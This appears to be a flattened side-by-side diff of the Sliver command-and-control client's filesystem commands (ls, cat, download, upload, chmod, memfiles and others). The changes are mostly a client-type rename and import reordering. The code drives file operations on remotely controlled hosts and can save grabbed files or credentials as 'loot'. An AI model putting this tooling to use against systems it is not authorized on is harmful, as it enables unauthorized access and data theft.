import ( import (
"context" "context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// CdCmd - Change directory on the remote system. // CdCmd - Change directory on the remote system
func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
+8 -6
View File
@@ -20,15 +20,17 @@ package filesystem
import ( import (
"context" "context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// ChmodCmd - Change the permissions of a file on the remote file system. // ChmodCmd - Change the permissions of a file on the remote file system
func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -75,8 +77,8 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// PrintChmod - Print the chmod response. // PrintChmod - Print the chmod response
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) { func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
if chmod.Response != nil && chmod.Response.Err != "" { if chmod.Response != nil && chmod.Response.Err != "" {
con.PrintErrorf("%s\n", chmod.Response.Err) con.PrintErrorf("%s\n", chmod.Response.Err)
return return
+8 -6
View File
@@ -20,15 +20,17 @@ package filesystem
import ( import (
"context" "context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// ChownCmd - Change the owner of a file on the remote file system. // ChownCmd - Change the owner of a file on the remote file system
func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -83,8 +85,8 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// PrintChown - Print the chown response. // PrintChown - Print the chown response
func PrintChown(chown *sliverpb.Chown, con *console.SliverClient) { func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
if chown.Response != nil && chown.Response.Err != "" { if chown.Response != nil && chown.Response.Err != "" {
con.PrintErrorf("%s\n", chown.Response.Err) con.PrintErrorf("%s\n", chown.Response.Err)
return return
+8 -6
View File
@@ -21,15 +21,17 @@ import (
"context" "context"
"time" "time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// ChtimesCmd - Change the access and modified time of a file on the remote file system. // ChtimesCmd - Change the access and modified time of a file on the remote file system
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -96,8 +98,8 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// PrintChtimes - Print the Chtimes response. // PrintChtimes - Print the Chtimes response
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverClient) { func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
if chtimes.Response != nil && chtimes.Response.Err != "" { if chtimes.Response != nil && chtimes.Response.Err != "" {
con.PrintErrorf("%s\n", chtimes.Response.Err) con.PrintErrorf("%s\n", chtimes.Response.Err)
return return
-346
View File
@@ -1,346 +0,0 @@
package filesystem
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
mvCmd := &cobra.Command{
Use: consts.MvStr,
Short: "Move or rename a file",
Long: help.GetHelpFor([]string{consts.MvStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
MvCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, mvCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(mvCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
Long: help.GetHelpFor([]string{consts.LsStr}),
Args: cobra.RangeArgs(0, 1),
Run: func(cmd *cobra.Command, args []string) {
LsCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, lsCmd, func(f *pflag.FlagSet) {
f.BoolP("reverse", "r", false, "reverse sort order")
f.BoolP("modified", "m", false, "sort by modified time")
f.BoolP("size", "s", false, "sort by size")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)"))
rmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a file or directory",
Long: help.GetHelpFor([]string{consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
RmCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, rmCmd, func(f *pflag.FlagSet) {
f.BoolP("recursive", "r", false, "recursively remove files")
f.BoolP("force", "F", false, "ignore safety and forcefully remove files")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove"))
mkdirCmd := &cobra.Command{
Use: consts.MkdirStr,
Short: "Make a directory",
Long: help.GetHelpFor([]string{consts.MkdirStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
MkdirCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, mkdirCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create"))
cdCmd := &cobra.Command{
Use: consts.CdStr,
Short: "Change directory",
Long: help.GetHelpFor([]string{consts.CdStr}),
Args: cobra.RangeArgs(0, 1),
Run: func(cmd *cobra.Command, args []string) {
CdCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, cdCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory"))
pwdCmd := &cobra.Command{
Use: consts.PwdStr,
Short: "Print working directory",
Long: help.GetHelpFor([]string{consts.PwdStr}),
Run: func(cmd *cobra.Command, args []string) {
PwdCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, pwdCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
catCmd := &cobra.Command{
Use: consts.CatStr,
Short: "Dump file to stdout",
Long: help.GetHelpFor([]string{consts.CatStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
CatCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, catCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
downloadCmd := &cobra.Command{
Use: consts.DownloadStr,
Short: "Download a file",
Long: help.GetHelpFor([]string{consts.DownloadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
DownloadCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, downloadCmd, func(f *pflag.FlagSet) {
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting")
f.StringP("name", "n", "", "name to assign the download if looting")
f.BoolP("recurse", "r", false, "recursively download all files in a directory")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(downloadCmd, func(comp *carapace.ActionMap) {
(*comp)["type"] = loot.LootTypeCompleter(con)
(*comp)["file-type"] = loot.FileTypeCompleter(con)
})
carapace.Gen(downloadCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the file or directory to download"),
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file",
Long: help.GetHelpFor([]string{consts.UploadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
UploadCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.BoolP("overwrite", "o", false, "overwrite file if it exists")
})
carapace.Gen(uploadCmd).PositionalCompletion(
carapace.ActionFiles().Usage("local path to the file to upload"),
carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"),
)
memfilesCmd := &cobra.Command{
Use: consts.MemfilesStr,
Short: "List current memfiles",
Long: help.GetHelpFor([]string{consts.MemfilesStr}),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
MemfilesListCmd(cmd, con, args)
},
}
flags.Bind("", true, memfilesCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
memfilesAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a memfile",
Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
MemfilesAddCmd(cmd, con, args)
},
}
memfilesCmd.AddCommand(memfilesAddCmd)
memfilesRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a memfile",
Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
MemfilesRmCmd(cmd, con, args)
},
}
memfilesCmd.AddCommand(memfilesRmCmd)
carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor"))
mountCmd := &cobra.Command{
Use: consts.MountStr,
Short: "Get information on mounted filesystems",
Long: help.GetHelpFor([]string{consts.MountStr}),
Run: func(cmd *cobra.Command, args []string) {
MountCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, mountCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 10, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 10, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
return []*cobra.Command{
mvCmd,
cpCmd,
lsCmd,
rmCmd,
mkdirCmd,
pwdCmd,
catCmd,
cdCmd,
downloadCmd,
uploadCmd,
memfilesCmd,
mountCmd,
grepCmd,
headCmd,
tailCmd,
}
}
+6 -4
View File
@@ -21,14 +21,16 @@ package filesystem
import ( import (
"context" "context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -70,7 +72,7 @@ func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er
return return
} }
func PrintCp(cp *sliverpb.Cp, con *console.SliverClient) { func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" { if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err) con.PrintErrorf("%s\n", cp.Response.Err)
return return
+10 -15
View File
@@ -28,17 +28,18 @@ import (
"strings" "strings"
"time" "time"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders" "github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"gopkg.in/AlecAivazis/survey.v1"
) )
func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -97,12 +98,14 @@ func prettifyDownloadName(path string) string {
filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_") filteredString = multipleUnderscoreRegex.ReplaceAllString(filteredString, "_")
// If there is an underscore at the front of the filename, strip that off // If there is an underscore at the front of the filename, strip that off
filteredString, _ = strings.CutPrefix(filteredString, "_") if strings.HasPrefix(filteredString, "_") {
filteredString = filteredString[1:]
}
return filteredString return filteredString
} }
func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverClient) { func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
var err error var err error
if download.Response != nil && download.Response.Err != "" { if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err) con.PrintErrorf("%s\n", download.Response.Err)
@@ -116,15 +119,7 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
} }
} }
// Use download.Path because a glob matching a single file on the remote will not have the remotePath := args[0]
// correct file name - the filename will contain the globs if we use the path from the user
// On non-Windows systems, filepath.Base will not see backslashes, so we will replace them
// on systems that do not use backslashes as path separators
remotePath := download.Path
if strings.Contains(download.Path, "\\") && string(os.PathSeparator) != "\\" {
remotePath = strings.ReplaceAll(download.Path, "\\", "/")
}
var localPath string var localPath string
if len(args) == 1 { if len(args) == 1 {
localPath = "." localPath = "."
+2 -2
View File
@@ -83,7 +83,7 @@ func processFlags(searchPattern string, insensitive bool, exact bool) string {
return processedSearchPattern return processedSearchPattern
} }
func GrepCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -152,7 +152,7 @@ func GrepCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// printGrep - Print the results from the grep operation to stdout // printGrep - Print the results from the grep operation to stdout
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverClient) { func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot") saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name") lootName, _ := cmd.Flags().GetString("name")
colorize, _ := cmd.Flags().GetBool("colorize-output") colorize, _ := cmd.Flags().GetBool("colorize-output")
+7 -4
View File
@@ -29,7 +29,7 @@ import (
"google.golang.org/protobuf/proto" "google.golang.org/protobuf/proto"
) )
func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head bool) { func HeadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string, head bool) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -63,7 +63,7 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else { } else {
operationName = "bytes" operationName = "bytes"
} }
} else { } else if cmd.Flags().Changed("lines") {
fetchBytes = false fetchBytes = false
fetchSize, _ = cmd.Flags().GetInt64("lines") fetchSize, _ = cmd.Flags().GetInt64("lines")
if fetchSize < 0 { if fetchSize < 0 {
@@ -76,6 +76,9 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
} else { } else {
operationName = "lines" operationName = "lines"
} }
} else {
con.PrintErrorf("A number of bytes or a number of lines must be specified.")
return
} }
ctrl := make(chan bool) ctrl := make(chan bool)
@@ -115,10 +118,10 @@ func HeadCmd(cmd *cobra.Command, con *console.SliverClient, args []string, head
con.PrintErrorf("Failed to decode response %s\n", err) con.PrintErrorf("Failed to decode response %s\n", err)
return return
} }
PrintCat(filePath, download, cmd, con) PrintCat(download, cmd, con)
}) })
con.PrintAsyncResponse(download.Response) con.PrintAsyncResponse(download.Response)
} else { } else {
PrintCat(filePath, download, cmd, con) PrintCat(download, cmd, con)
} }
} }
+9 -7
View File
@@ -27,17 +27,19 @@ import (
"text/tabwriter" "text/tabwriter"
"time" "time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"google.golang.org/protobuf/proto"
) )
// LsCmd - List the contents of a remote directory. // LsCmd - List the contents of a remote directory
func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -73,8 +75,8 @@ func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
} }
// PrintLs - Display an sliverpb.Ls object. // PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverClient) { func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" { if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err) con.PrintErrorf("%s\n", ls.Response.Err)
return return
+7 -6
View File
@@ -20,15 +20,16 @@ package filesystem
import ( import (
"context" "context"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// MemfilesAddCmd - Add memfile. // MemfilesAddCmd - Add memfile
func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -56,8 +57,8 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string
} }
} }
// PrintAddMemfile - Print the memfiles response. // PrintAddMemfile - Print the memfiles response
func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverClient) { func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" { if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesAdd.Response.Err) con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
return return
+7 -6
View File
@@ -25,16 +25,17 @@ import (
"text/tabwriter" "text/tabwriter"
"time" "time"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// MemfilesListCmd - List memfiles. // MemfilesListCmd - List memfiles
func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -62,8 +63,8 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
// PrintMemfiles - Display an sliverpb.Ls object. // PrintMemfiles - Display an sliverpb.Ls object
func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverClient) { func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
if ls.Response != nil && ls.Response.Err != "" { if ls.Response != nil && ls.Response.Err != "" {
con.PrintErrorf("%s\n", ls.Response.Err) con.PrintErrorf("%s\n", ls.Response.Err)
return return
+7 -6
View File
@@ -21,15 +21,16 @@ import (
"context" "context"
"strconv" "strconv"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
) )
// MemfilesRmCmd - Remove a memfile. // MemfilesRmCmd - Remove a memfile
func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -69,8 +70,8 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
// PrintRmMemfile - Remove a memfile. // PrintRmMemfile - Remove a memfile
func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverClient) { func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
